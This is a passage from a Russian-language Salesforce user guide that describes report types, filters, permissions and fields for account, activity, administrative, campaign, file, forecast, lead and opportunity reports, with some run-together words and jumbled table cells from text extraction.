• «Мои организации»: отображаются собственные организации.

• «Моиорганизациирабочей группы»: отображаются организации, где пользователь является участникомрабочей
группы.

• «Моя группа, работающая с организациями, и мои организации»: отображаются собственные организации и
организации, где пользователь является участником рабочей группы.

• «Организации моей рабочей группы»: отображаются собственные организации и организации, принадлежащие
всем подчиненным в иерархии ролей.

• «Мои территории»: отображаются организации, принадлежащие территориям текущего пользователя (доступно
только при использованиифункции управления территориями).

• «Организации моей группы, работающей с территориями»: отображаются организации, принадлежащие
территориям текущего пользователя и дочерним территориям (доступно только при использованиифункции
управления территориями).

• «Группа, работающая с организациями моей рабочей группы, и их собственные организации»: отображаются
организации, принадлежащие подчиненным в иерархии ролей или рабочей группе с их участием.

• «Все доступныеорганизации»: отображаются все организации, доступныепользователюдля просмотра согласно
модели общего доступа.

• «Территории»: дополнительныйфильтр «Территории» поддерживает значения «Все», «Несколько территорий»
и «Без территории» (доступно только при использованиифункции управления территориями). Фильтр
«Территории», применяемый к результатам отчетов, созданных на основе типов настраиваемых отчетов,
содержащих территории, не поддерживает значения «Несколько территорий» и «Без территории».

• «Клиентский портал»: при наличии клиентского портала Salesforce добавьте поле «Организация клиентского
портала» в отчеты по организациям, чтобы просмотреть организации, контакты которых могут использовать
портал.

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчетыпо действиям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.
(Доступные отчеты
определяютсяиспользуемой
версией.)

Отчетыподействиямпозволяютсобиратьданныеоботкрытыхдействиях, завершенных
действиях, многопользовательскихсобытияхилиотложенныхзапросахна утверждение,
где текущий пользователь является делегированным ответственным за утверждение.

Стандартные отчеты по действиям позволяют выбирать диапазон дат и статус нужных
действий. Стандартные отчеты по действиям отображают задачи и встречи для
выбранного диапазона дат или события со всеми приглашенными.

Чтобысоздатьнастраиваемыйотчетподействиям, откройтевкладку «Отчеты», нажмите
кнопку «Создать отчет» и выберите тип данных «Действия».
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Прим.: Чтобы просмотреть иерархию ролей организации над результатами отчета, щелкните ссылку «Показать
иерархию». Иерархияролейпозволяетпредоставлятьпользователям, расположеннымнаразныхуровняхиерархии,
общийдоступкданнымотчета. Например, фильтр "Генеральныйдиректор" > "Вице-президентпоглобальным
продажам" > "Руководительотделапродаж"отображает данные для роли «Руководительотделапродаж». Чтобы
просмотретьипредоставить общийдоступ к данным, доступнымпользователямроли, щелкнитеимянужнойроли.

Специальные функции отчетов по действиям

Ниже перечислены рекомендации по выполнению отчетов по действиям.

Стандартные отчеты

• Прииспользованиифункцииотслеживания HTML-сообщенийэл. почтывыберитеотчет «Статус HTML-сообщения
эл. почты». Данныйотчет содержитсведенияиз связанногоспискаинтересовиконтактов «Статус HTML-сообщения
эл. почты».

• Чтобы добавить только многопользовательские события, выберите отчет «События с приглашенными». Ниже
перечислены стандартные фильтры данного отчета.

– «Назначено...»: отображаются только собственные многопользовательские события.

– «Назначено рабочей группе...»: отображаются многопользовательские события, принадлежащие любому
участнику рабочей группы.

– «Приглашенный...»: отображаются только многопользовательские события, где пользователь является
приглашенным.

– «Приглашенный участвует в рабочей группе...»: отображаются многопользовательские события, где любой
пользователь рабочей группы является приглашенным.

• Отчет «Мои делегированные запросы на утверждение» содержит все запросы на утверждение, которые переданы
текущемупользователюнаутверждение. Обратитевнимание, чтоотчет «Всеотложенныезапросынаутверждение»
хранится в папке «Отчеты по действиям».

• Чтобыпросмотреть действия подчиненныхпользователей в версиях Professional Edition, Enterprise Edition, Unlimited
Edition, Performance Edition и Developer Edition, воспользуйтесь ссылками «Иерархия» в отчете «Задачи и встречи».
Обратитевнимание, чтосистемапозволяетпросматриватьтолькособственныедействияидействия, принадлежащие
пользователям нижестоящих ролей.

• Если организация использует функцию «Общедоступные действия», то отчеты (включая типы настраиваемых
отчетовиотчеты «Задачиисобытия») возвращаютразныерезультатынаосноветекущихполномочийпользователя.
Например, пользователь составляет отчет по событиям, который возвращает событие, связанное как минимум с
двумя контактами и содержащее приглашенных. При наличии полномочий администратора результаты отчета
отображаютсобытиедляосновногоконтакта, а такжеотдельноесобытиедлякаждогоприглашенного. Впротивном
случае результаты отчета отображают только одно событие, предназначенное для основного контакта.

Типы отчетов

• Конструкторотчетовпозволяет создаватьотчетыподействиям, которыеотображаютдействия, связанныесдругим
типом записи. Например, настраиваемый отчет «Действия с интересами» отображает действия, связанные с
интересами.

• Отчеты «Действия с интересами» не отображают данные для полей «Адрес: строка 1», «Адрес: строка 2» и
«Адрес: строка 3».

Советы по использованию отчетов по действиям

• Чтобы исключить события, являющиеся отправленными приглашениями на многопользовательское событие,
задайте критерий поиска «"Приглашение на событие" равно "0"».
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• Архивные действия не добавляются в отчеты. События и закрытые задачи, созданные более одного года назад,
архивируются. Открытые задачи не архивируются. Чтобы просмотреть архивные действия для записи, нажмите
«Просмотреть все» в разделе «Журнал действий» на странице сведений о записи.

• Действия над личными контактами отображаются только в отчетах, выполненных ответственным за контакт.

• Стандартныефильтры для отчетов по действиям позволяют ограничивать результаты отчетов перечисленными
ниже параметрами. Отображаемые параметры определяются используемой версией системы.

– «Мои действия»: отображаются собственные действия.

– «Моиделегированныедействия»: отображаютсядействия, созданныетекущимпользователем, нопринадлежащие
другому пользователю той же или нижестоящей роли.

– «Действия моей рабочей группы»: отображаются действия, принадлежащие подчиненным пользователям в
иерархии ролей.

– «Все действия»: отображаются все действия, доступныепользователюдляпросмотра согласномоделиобщего
доступа.

• Если отчет по действиям возвращает слишком много результатов, рекомендуем добавить фильтр для поля даты,
текста или раскрывающегося списка. Чтобы повторно выполнить отчет по действиям, рекомендуем выбрать
другой тип данных (например, «Действия с организациями» или «Действия с возможностями»).

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Административныеотчеты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр настройки и конфигурации»Для просмотра папки «Административные
отчеты»:

«Запуск отчетов»

И

«Просмотр настройки и конфигурации»

Для запуска отчетов по пользователям:

«Создание и настройка отчетов»

И

«Просмотр настройки и конфигурации»

Для создания, редактирования, сохранения
и удаления отчетов по пользователям:

«Запуск отчетов»Для запуска отчетов по документам:

«Создание и настройка отчетов»Для создания, редактирования, сохранения
и удаления отчетов по документам:

«Запуск отчетов»

И

Для запуска отчетов по отложенным
запросам на утверждение:

«Просмотр всех данных»
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Административные отчеты позволяют анализировать пользователей Salesforce, документы и отложенные запросы на
утверждение. ДанныеотчетыпозволяютпросматриватьактивныхпользователейSalesforceипользователей, выполняющих
вход.

Прим.: Папка «Административные отчеты» на вкладке «Отчеты» отображается только при наличии полномочия
«Просмотр настройки и конфигурации». Данное полномочие не требуется для просмотра типа отчета
«Административные отчеты», так как все пользователи могут просматривать и управлять любыми связанными
отчетамиподокументам. Данноеполномочиетребуется дляпросмотрадругих связанныхтиповотчетов (например,
отчеты по пользователям и запросам на утверждение).

Специальные функции административных отчетов

Ниже перечислены рекомендации по выполнению административных отчетов.

Стандартные отчеты

• Отчет «Все активные пользователи» отображает активных пользователей организации и время их последнего
входа.

• Отчет «Пользователи, выполнившиевходнатекущейнеделе» отображаетвсехпользователей, выполнявшихвход
в систему Salesforce за последние семь дней. Если организация использует сообщества, то отчет может быть
дополнен столбцом «Сообщество», позволяющим просматривать сообщества, выбранные пользователями для
входа.

• Отчет «Документы» отображает документы, хранящиеся в каждой папке документов.

• Отчет «Все отложенные запросы на утверждение» отображает запросы, ожидающие утверждения, для каждого
процесса утверждения. Обратите внимание, что отчет «Мои делегированные запросы на утверждение» хранится
в папке «Отчеты по действиям».

• Еслиорганизацияиспользует территории, тоотчет «Территорияпользователя» впапке «Отчетыпотерриториям»
отображает территории, назначенные пользователю.

Типы отчетов

• Создайте настраиваемый отчет, отображающий отчеты организации и время их последнего использования.
Выберите категорию «Административные отчеты» и тип отчета «Отчеты».

• Еслиорганизацияиспользует сообщества, составьтеотчетпожурналу входовдля внешнихучастниковсообществ.

1. Создайте настраиваемый отчет.

2. Выберите папку «Административные отчеты».

3. Выберите тип отчета «Пользователи».

4. Дополните отчет столбцом «Сообщество».

5. Добавьте фильтр, содержащий профили пользователей сообщества.

• При наличии клиентского портала Salesforce можете создать отчет по пользователям клиентского портала.

1. Создайте настраиваемый отчет.

2. Выберите папку «Административные отчеты».

3. Выберите тип отчета «Пользователи».

4. Добавьте столбцы «Тип лицензии», «Профиль» и «Роль» в отчет. Пользователи массового портала не
имеют ролей, поэтому недоступны для создания отчетов по ролям.

Прим.: Наборы полномочий не поддерживаются.
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При необходимости добавьте поле «Организация клиентского портала» в отчеты по организациям, чтобы
просмотреть организации, контакты которых могут использовать портал.

• Принеобходимостисоздайтетипынастраиваемыхотчетов, которыемогутиспользоватьсядлясоставленияотчетов
по отчетам и панелям мониторинга организации. Чтобы определить тип настраиваемого отчета, выберите пункт
«Отчеты» или «Панели мониторинга» в раскрывающемся списке «Основной объект» на странице «Создать тип
настраиваемого отчета».

Советы по использованию административных отчетов

• Пользователисполномочием «Управлениевнутреннимипользователями» могут создаватьнастраиваемыеотчеты
по пользователям, содержащие сведения о попытках входа пользователей. Соответствующие поля (например,
«Дата/время входа», «IP-адрес источника» и «Статус входа») группируются в разделе «Журнал входов»
действия «Выбратьстолбцы». Обратитевнимание, чтополе «Тип клиента» отображаетспособвходапользователя:
посредством веб-обозревателя или альтернативного интерфейса (например, приложение Connect for Lotus Notes
или партнерский портал). Чтобы просмотреть пользователей, которые никогда не выполняли вход, задайте
следующий критерий отчета: выберите поле «Дата/время входа» и оператор «равно», а третье поле оставьте
незаполненным.

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчетыпокампаниям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчеты по кампаниям позволяют анализировать принятые маркетинговые меры.
Пользователи могут создавать отчеты по рентабельности инвестиций, вложенных в
кампании, отслеживать целевую аудиторию кампаний и полученные отзывы, а также
анализировать возможности, созданные в результате проведения кампаний.

Специальные функции отчетов по кампаниям

Ниже перечислены рекомендации по выполнению отчетов по кампаниям.

Стандартные отчеты

• Настраиваемый отчет «Сведения о кампании» и отчет «Анализ рентабельности
инвестицийкампании» позволяютдобавлять статистикупоиерархиикампании,
содержащуюсводные значениядляродительскойкампанииивсехнижестоящих
кампаний. Если кампании поддерживают настраиваемый раскрывающийся
список, определяющий уровень иерархии (например, «тактический»,
«программный» или «начальный»), топользователимогут запуститьотчет, суммирующийданныеналюбомуровне
иерархии по всем кампаниям.

• Чтобыпросмотреть списокинтересовиликонтактов, связанныхскампаниями, воспользуйтесьотчетом «Интересы
кампании» или «Контакты кампании».

• Чтобы просмотреть список участников кампании, воспользуйтесь отчетом «Участник кампании».

• Чтобы суммировать данные о пользователях, отреагировавших на кампании, воспользуйтесь отчетом «Анализ
участника кампании».

• Чтобы определить возможности, созданные в результате проведения кампаний, воспользуйтесь отчетом «Доход
от кампании». Вверсиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition данныйотчетможет
использоваться для анализа продуктов, расписаний объемов продукции и расписаний доходов.
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• Чтобырассчитатьрентабельностьинвестицийисреднююстоимость кампании, воспользуйтесьотчетом «Анализ
рентабельностиинвестицийкампании». Рентабельностьинвестицийрассчитывается какчистаяприбыль («Итого
ценность реализованных возможностей»  - «Фактические затраты»), поделенная на значение «Фактические
затраты». Рентабельность инвестиций отображается в процентах.

• Чтобы просмотреть возможности, находящиеся под влиянием нескольких кампаний, воспользуйтесь отчетом
«Кампании с находящимися под влиянием возможностями».

Прим.: Отчет «Кампании с находящимися под влиянием возможностями» соблюдает правила общего
доступа для организаций, контактов и кампаний. Объекты, которым задано значение «Личный» в правилах
общего доступа, не отображаются в отчете.

Типы отчетов

• Чтобы создать отчет, содержащий сведения об интересах и контактах разных кампаний, воспользуйтесь типом
настраиваемого отчета «Кампании с участниками кампании». Чтобы просмотреть контакты и интересы для
отдельной кампании, воспользуйтесь отчетом «Запрос сведений по кампании». Данные отчеты доступны только
при наличии полномочия «Чтение» для контактов и интересов.

• Чтобыпросмотретьсведенияожизненномциклеинтереса, отсортированныепооднойилинесколькимкампаниям,
воспользуйтесь отчетом «Кампании с интересами и сведения о преобразованных интересах».

• Чтобы просмотреть возможности, находящиеся под влиянием нескольких кампаний, воспользуйтесь отчетом
«Кампании с находящимися под влиянием возможностями».

Советы по использованию отчетов по кампаниям

• Некоторые отчеты содержат значок поиска, позволяющий выбрать отдельную кампанию для ограничения
используемыхданных. Еслипользователь, запустившийотчет, теряет доступдляпросмотра выбраннойкампании,
торезультатыотчетанеотображаются. Данныйалгоритмотчетаполностьюсоответствуеталгоритму, выполняемому
при удалении кампании.

• «Статус участника» — это статус интереса или контакта, связанного с кампанией.Ответственный за кампанию
может создать не более 50 значений статуса участника.Например, «Запланировал», «Отправил» или «Посетил».
Кроме того, отчеты по кампаниям могут быть дополнены полями «Первое связывание участника», «Отвечено»
и «Первый ответ участника». Данные поля позволяют просмотреть дату добавления участника в кампанию и
наличие ответа от данного участника, а также дату отправки первого ответа на кампанию.

• Поле кампании «Последнее действие» — это самый недавний крайний срок действия для записи. Данная дата
задается следующими прошлыми или будущими действиями:

– Любое событие

– Закрытые задачи

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета
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Отчетыпофайлами содержимому

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчетыпофайламисодержимомупозволяютанализироватьпоказателииспользования
файлов и Salesforce CRM Content.

Стандартные отчеты по файлам и содержимому

Воспользуйтесь данными готовыми отчетами по файлам и содержимому.

Авторы содержимого
Данныйотчетпозволяетпользователямпросматриватьколичествофайлов, пакетов
содержимого, документов Google и веб-ссылок, опубликованное каждым автором в
Salesforce CRM Content.

Временной интервал публикации содержимого
Данный отчет позволяет пользователям определять количество файлов, пакетов
содержимого, документов Google и веб-ссылок, опубликованных в библиотеку за
выбранный период времени.

Загрузкифайлов и содержимого
Данный отчет позволяет пользователям просматривать загруженные файлы, время загрузки и загрузивших
пользователей.

Занятостьфайлов и содержимого
Данныйотчетпозволяетпользователямпросматриватьсведенияофайле (например, количествозагрузок, публикаций,
предпочтений и комментариев).

Ссылки нафайлы и содержимое
Данный отчет позволяет пользователям просматривать файлы, публикуемые посредством доставок содержимого
илипараметра «Общийдоступпоссылке». Данныйотчет позволяет просматривать время создания каждой ссылки,
срок ее действия, время последнего просмотра, наличие парольной защитыи общее количество просмотров ссылки.
Каждая ссылка данного отчета может просматриваться пользователями за пределами организации.

Администраторы библиотеки
Данныйотчетпозволяетпользователямпросматривать количествофайлов, пакетов содержимого, документовGoogle
и веб-ссылок в каждой библиотеке, а также общий объем хранилищафайлов, используемый каждой библиотекой.

Содержимое библиотеки
Данныйотчетпозволяетпользователямпросматривать количествофайлов, пакетов содержимого, документовGoogle
и веб-ссылок в каждой библиотеке, а также общий объем хранилищафайлов, используемый каждой библиотекой.

Популярные загрузки
Данный отчет позволяет пользователям определятьфайлыипакеты содержимого, загружаемые чаще других, а также
веб-ссылки и документы Google, открываемые чаще других.

Популярные подписки
Данный отчет позволяет пользователям определять файлы, пакеты содержимого, документы Google и веб-ссылки с
наибольшим количеством подписчиков.

Устаревшее содержимое
Данный отчет позволяет пользователям определять файлы, которые давно не загружались или не проверялись.

Типы отчетов по файлам и содержимому

Создайте стандартные отчеты по файлам и содержимому.

Отчет по содержимому
Создайте отчет по Salesforce CRM Content.
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ОписаниеПоле

Данныйфлажок соответствует заархивированному файлу. Архивныйфайл
удаляется из библиотеки, но может быть восстановлен в приложении Salesforce
CRM Content. При необходимости архивные файлы могут быть восстановлены.

Добавлено в архив

Автор, опубликовавшийфайл, пакетсодержимого, документGoogleиливеб-ссылку.Содержимое создано

Идентификатор, позволяющий группировать пофайлу вместо версии. Значение
поля «Заголовок содержимого» может не быть уникальным, так как версии одно
и того же файла могут иметь разные заголовки.

Код содержимого

Дата первой публикациифайла, пакета содержимого, документа Google или
веб-ссылки.

Дата публикации содержимого

Заголовок файла, пакета содержимого, документа Google или веб-ссылки.Заголовок содержимого

Заголовок типа записи, связанного с файлом, пакетом содержимого, документом
Google или веб-ссылкой.

Тип записи

Флажок, соответствующий специальному содержимому.Специальное содержимое

Размер отдельного файла (кроме других версий того же файла).Размер личного содержимого
(Мб)

Дата последней подписки на содержимое.Дата последней подписки

Количество загрузокфайлаилиобщее количество загрузок в библиотеке. Данное
количество также охватывает просмотры документов Google или веб-ссылок.

Количество загрузок

Совет: Чтобы просмотреть пользователей, загрузивших определенный
файл, откройте соответствующую страницу сведений о содержимом и
выберите вкладку «Загрузки».

Количество отрицательных голосов.Количество отрицательных
рейтингов

Количество положительных голосов.Количество положительных
рейтингов

Количествопользователей, подписавшихсянафайл, пакет содержимого, документ
Google или веб-ссылку, либо общее количество подписок в библиотеке.

Количество подписок

Количество публикаций новой версии файла.Количество версий

Количество положительных голосов за вычетом количества отрицательных
голосов. Например, если файлу отданы два положительных голоса и ни одного
отрицательного голоса, то поле «Общий рейтинг» содержит значение «2».

Общий рейтинг

Тег Salesforce CRM Content, назначенныйфайлу, пакету содержимого, документу
Google или веб-ссылке.

Тег

Размер файла со всеми его версиями.Общий размер содержимого
(Мб)
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ОписаниеПоле

Дата и время публикации новой версии файла.Дата пересмотра версии

Автор, опубликовавший версиюфайла.Версия пересмотрена

Имя библиотеки.Имя библиотеки

Дата и время создания библиотеки.Дата создания библиотеки

Отчет по библиотекам и пользователям
Создайте список пользователей, назначенных библиотекам.

ОписаниеПоле

Флажок, назначающий пользователю статус администратора библиотеки.Администратор

Флажок, назначающий участнику библиотеки статус отдельного пользователя
или общедоступной группы.

Группа

Дата и время создания библиотеки.Дата создания библиотеки

Имя библиотеки.Имя библиотеки

Личное имя и фамилия участника библиотеки.Имя участника

Отчет пофайлам и содержимому
Создайте отчет по файлам, загруженным в организацию.

ОписаниеПоле

Флажок, назначающийфайлу статус архивного. Архивныйфайл удаляется из
библиотеки, но может быть восстановлен в приложении Salesforce CRM Content.
При необходимости архивные файлы могут быть восстановлены.

Добавлено в архив

Заголовок файла, пакета содержимого, документа Google или веб-ссылки.Заголовок

Пользователь, загрузившийфайл, пакет содержимого, документ Google или
веб-ссылку.

Создано

Дата первой загрузки файла.Дата загрузки

Пользователь, загрузившийфайл.Загружено

Тип профиля пользователя, загрузившего файл.Тип пользователя загрузки

Тип MIME загруженного файла.Тип файла

Идентификатор, позволяющий группировать пофайлу вместо версии. Значение
поля «Заголовок» можетнебыть уникальным, так как версииодноитогожефайла
могут иметь разные заголовки.

Код
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ОписаниеПоле

Пользователь, изменивший или загрузивший новую версиюфайла последним.Последний пересмотр
выполнен

Дата последнего пересмотра файла.Дата последнего пересмотра

Количествопредпочтений, отданныхпубликациямфайла. Данное количествоне
охватывает предпочтения, отданные комментариям к публикациифайла.

Предпочтения

Количество созданных внешних ссылок на файлы. Внешние ссылки создаются
при публикациифайла посредствомпараметра «Общийдоступпо ссылке» или
публикации содержимого библиотеки посредством доставки содержимого.

Ссылки

Количество комментариев, опубликованных к публикациямфайла в лентах.Комментарии к сообщению

Количество публикацийфайла в ленту. Данное количество не охватывает
добавления файла в комментарии к сообщениям.

Сообщения

Дата первой публикации или загрузки файла, пакета содержимого, документа
Google или веб-ссылки.

Дата публикации

Количество публикацийфайла в ленту пользователя посредством параметров
«Общий доступ с людьми» и «Общий доступ с группами».

Общие ресурсы

Размер последней версии файла в мегабайтах.Размер (Мб)

Количество загрузок файла.Итого загрузок

Общий размер всех загруженных версий файла.Общий размер (Мб)

Количество загруженных версий файла.Версии

Советы по использованию отчетов по файлам и содержимому

• Пользователи Salesforce CRM Content, помеченныефлажком «Управление содержимым» в полномочии библиотеки,
могутсортироватьданныеотчетовподоступнымбиблиотекам («Моибиблиотеки») иливсембиблиотекаморганизации
(«Все библиотеки»). Если флажок «Управление содержимым» не установлен, то пользователи могут сортировать
данные только по доступным библиотекам.

• Чтобыпросмотретьданныеотдельныхфайловилисводныеданныепобиблиотеке (например, общийиспользованный
объем хранилища или общее количество загрузок), отсортируйте настраиваемые отчеты по параметру «Имя
библиотеки».

• Чтобы просмотреть данные для отдельного документа, отсортируйте по параметру «Код содержимого».

• Приналичиипользователейклиентскогоилипартнерскогопорталасполномочием «Созданиебиблиотек» выполните
отчет «Администраторы библиотеки», позволяющий определять новые библиотеки, созданные пользователями
портала.

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета
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Отчетыпопрогнозам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчеты по прогнозам содержат сведения о настраиваемых прогнозах.

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Прим.: Папка «Отчеты по прогнозам» отображается только при использовании
функции настраиваемого прогнозирования. Функция настраиваемого
прогнозирования поддерживает пять типов стандартных отчетов. Функция
настраиваемогопрогнозированиянеподдерживает созданиетиповнастраиваемых
отчетов.

Специальные функции отчетов по настраиваемым прогнозам

Нижеперечисленырекомендацииповыполнениюотчетовпонастраиваемымпрогнозам.

Стандартные отчеты
Чтобыпросмотретьсведенияоботправленныхпрогнозах, создайтеотчетпожурналампрогнозов. Чтобыпросмотреть
статус прогнозов после каждого обновления, выберите значение «Все прогнозы». Чтобыпросмотреть только текущий
статус прогнозов, выберите значение «Последние прогнозы».

Типы отчетов

• При созданиинастраиваемого отчета по прогнозам выберите тип отчета «Настраиваемыйпрогноз: прогнозы
возможностей», чтобы добавить сведения о возможностях, участвующих в прогнозе.

• Настраиваемые поля пользователя могут быть добавлены в настраиваемые отчеты по прогнозам возможностей в
виде столбцов и значений столбцов. Настраиваемые поля пользователя доступны в качестве настраиваемых
сведений об ответственном за возможность или организацию. Метка настраиваемого поля используется для
сведений об ответственном за возможность и ответственном за организацию, поэтому при их одновременном
использовании в одном отчете рекомендуем указывать разные метки полей.

• При наличии полномочия «Просмотр всех прогнозов» отчеты по резюме прогнозов и журналам прогнозов
содержатданныевсехпользователейдлявыбраннойиерархиипрогнозов, включаяпользователей, расположенных
на ветвях иерархии без менеджеров прогнозов.

Советы по составлению отчетов по настраиваемому прогнозированию

• Отчет должен быть составлен по финансовому году или дате.

• Отчеты по прогнозам используют личные возможности.

• Отчеты по прогнозам включают стоимости возможностей, которые должны быть закрыты в выбранный период
прогноза.

• Отчеты по прогнозам включают только те возможности, которые должны быть закрыты в выбранный период
прогноза, кроме возможностей, которым назначена категория прогноза «Пропущено».

• Чтобыпросмотреть сведенияо стоимостях впрогнозеи скрыть сведенияоб участвующихвозможностях, создайте
отчет по резюме прогноза.

• Еслиорганизацияиспользует территории, создайтенастраиваемыеотчетыпопрогнозам, суммирующиесведения
по имени территории.

• Чтобыпросмотретьотчетпопрогнозамвозможностейнаосновеиерархиипрогнозов, воспользуйтесьдетализацией
иерархии прогнозов.

1. Выберите нужную роль или территорию посредством ссылок «Иерархия».

2. Выберитенужныхпользователейилирабочиегруппывобласти«Показатьвозможности, принадлежащие:»
или «Показать прогнозы, принадлежащие:», расположенной вверху отчета.
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3. Чтобы обновить данные отчета для выбранных параметров, нажмите кнопку «Запустить отчет».

Например, чтобы просмотреть сведения о возможности, включая переопределения стоимостей или объемов
возможности, а также переопределения, внесенные нижестоящими пользователями в иерархии прогнозов,
настройте ссылку «Иерархия» для роли прогноза. Чтобы просмотреть сведения о возможности нижестоящего
пользователя в иерархии прогнозов, воспользуйтесь детализацией соответствующей роли.

Внимание: Представление «Моярабочая группа» содержитпрогнозы, доступныенаразныхуровняхиерархии.
Соответственно, значения могут добавляться в итоговые прогнозы подчиненного и менеджера прогнозов.
Таким образом, итоговые значения столбцов могут значительно превышать ожидаемые результаты, так как
стоимости подчиненного будут учитываться несколько раз.

Прим.: Чтобы просмотреть иерархию ролей организации над результатами отчета, щелкните ссылку «Показать
иерархию». Иерархияролейпозволяетпредоставлятьпользователям, расположеннымнаразныхуровняхиерархии,
общийдоступкданнымотчета. Например, фильтр "Генеральныйдиректор" > "Вице-президентпоглобальным
продажам" > "Руководительотделапродаж"отображает данные для роли «Руководительотделапродаж». Чтобы
просмотретьипредоставить общийдоступ к данным, доступнымпользователямроли, щелкнитеимянужнойроли.

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчетыпоинтересам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчеты, доступныевпапке «Отчетыпоинтересам», позволяютпросматривать сведения
об источнике и статусе интересов, время обработки интересов, забытые интересы и
журнал полей интересов.

Специальные функции отчетов по интересам

Ниже перечислены рекомендации по выполнению отчетов по интересам.

Стандартные отчеты

Чтобы отслеживать журнал стандартных и настраиваемых полей интересов,
поддерживающихфункцию отслеживания, выберите тип отчета «Журнал интереса».
Данныйотчетпозволяетпросматриватьпредыдущиеиновые значенияотслеживаемых
полей.

Совет: Пользователь с полномочием «Создание и настройка отчетов» может
использовать раскрывающийся список «Показать» в отчете «Журнал интереса»
для фильтрации данных журнала по критерию «Мои интересы», «Интересы моей
рабочей группы», «Интересы, принадлежащие пользователю», «Интересы,
принадлежащие очереди» или «Все интересы».

Советы по использованию отчетов по интересам

• Чтобыпросмотретьинтересы, принадлежащиеподчиненнымсотрудникамвиерархииролей, выберитепредставление
«Интересы моей рабочей группы».

• Отчеты по интересам могут отображать все интересы (преобразованные и непреобразованные). Чтобы ограничить
данныеотчета тольконепреобразованнымиинтересами, введитекритерийфильтрации «"Преобразовано" равно "0"».

• Полеинтереса «Последнее действие» — это самыйнедавнийкрайнийсрокдействиядля записи. Данная дата задается
следующими прошлыми или будущими действиями:
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Любое событие–

– Закрытые задачи

• Пользователи могут создавать отчеты по интересам, экспортировать данные этих отчетов в Excel и использовать
приложение Microsoft® Word для пакетной отправки стандартных писем.

Ограничения для отчетов по интересам

• Условия фильтра не могут использоваться для поиска результатов в полях «Предыдущее значение» и «Новое
значение».

• Фильтрация по столбцу «Поле/событие» препятствует использованию логики фильтра.

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчетыповозможностям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчеты по возможностям содержат сведения о возможностях, включая ответственных,
организации, этапы, стоимости и т. д. Стандартные параметры отчета позволяют
просмотретьдлякаждогообъекта те сведения, которыеиспользуютсячащевсего. Однако
пользовательможетнастроитьотчеттакимобразом, чтобыпросмотретьдополнительные
сведения (например, основной источник кампании, категорию прогноза и
синхронизированную смету).

1. Советы по работе с отчетами по возможностям
Отчеты по возможностям могут содержать все поля возможностей и некоторые
дополнительные столбцы для подробных сведений.

2. Стандартные отчеты возможностей
Благодарястандартнымотчетампользовательможетсоздаватьотчетыпоожидаемым
продажам от возможностей, журналам возможностей, источникам возможностей, типам возможностей и т. д.

3. Типы отчетов возможностей
Типы отчетов предоставляютшаблон отчетов, в котором можно настраивать сбор уникальных данных без
необходимости создавать отчет заново. Некоторые из типов настраиваемых отчетов возможностей включают
информацию от связанных объектов, например продуктов, партнеров и смет.

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Советы по работе с отчетами по возможностям
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ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчеты по возможностям могут содержать все поля возможностей и некоторые
дополнительные столбцы для подробных сведений.

• Ниже перечислены столбцы, которые могут использоваться для предоставления
дополнительных сведений.

– «Длительность»: дляоткрытойвозможности — этоколичестводней, прошедших
с момента ее создания, а для закрытой возможности — это количество дней,
прошедших между датами ее создания и закрытия.

– «Продолжительность этапа»: количество дней, в течение которых возможность
находилась на этапе, указанном в столбце «Этап». Чтобы просмотреть время,
затраченное возможностью на разных этапах, воспользуйтесь отчетом
«Продолжительность этапа возможности».

– «Последнее действие»: последний крайний срок действия для записи
возможности, включая любое событие возможности или закрытую задачу.

• Если организация использует продукт «Прогнозы» или функцию настраиваемого прогнозирования, то папка
стандартных отчетов и мастер настраиваемых отчетов отображают параметры отчетов по прогнозам вместе с
параметрами отчетов по возможностям. Возможности, принадлежащие пользователям, которым не назначена роль
в иерархии организации, исключаются из отчетов по возможностям, прогнозам и продажам. Данное ограничение
не распространяется на версии Personal Edition и Group Edition, которые не поддерживают иерархии ролей. Отчеты,
содержащие столбец «Партнер»  (кроме отчета «Возможности партнера»), отображают только основного партнера
возможности.

• Фильтрыотчетаподдерживаюттольконекоторыеполяпродукта возможности. Например, поле «Группа продуктов»,
которое связано с объектом «Продукт возможности» посредством объекта «Запись прайс-листа», недоступно в
соответствующихфильтрахотчета. Чтобысделатьполе «Группа продуктов» доступнымвфильтрахотчета «Продукт
возможности» (для составления отчетов по перекрестным или дополнительным продажам), создайте настраиваемое
полеформулыдляхраненияегосодержимогоидобавьте этополевфильтр. Откройтепараметрыуправленияобъектом
для возможностей, перейдите к области полей, затем создайте настраиваемое поле типа «Формула», установив тип
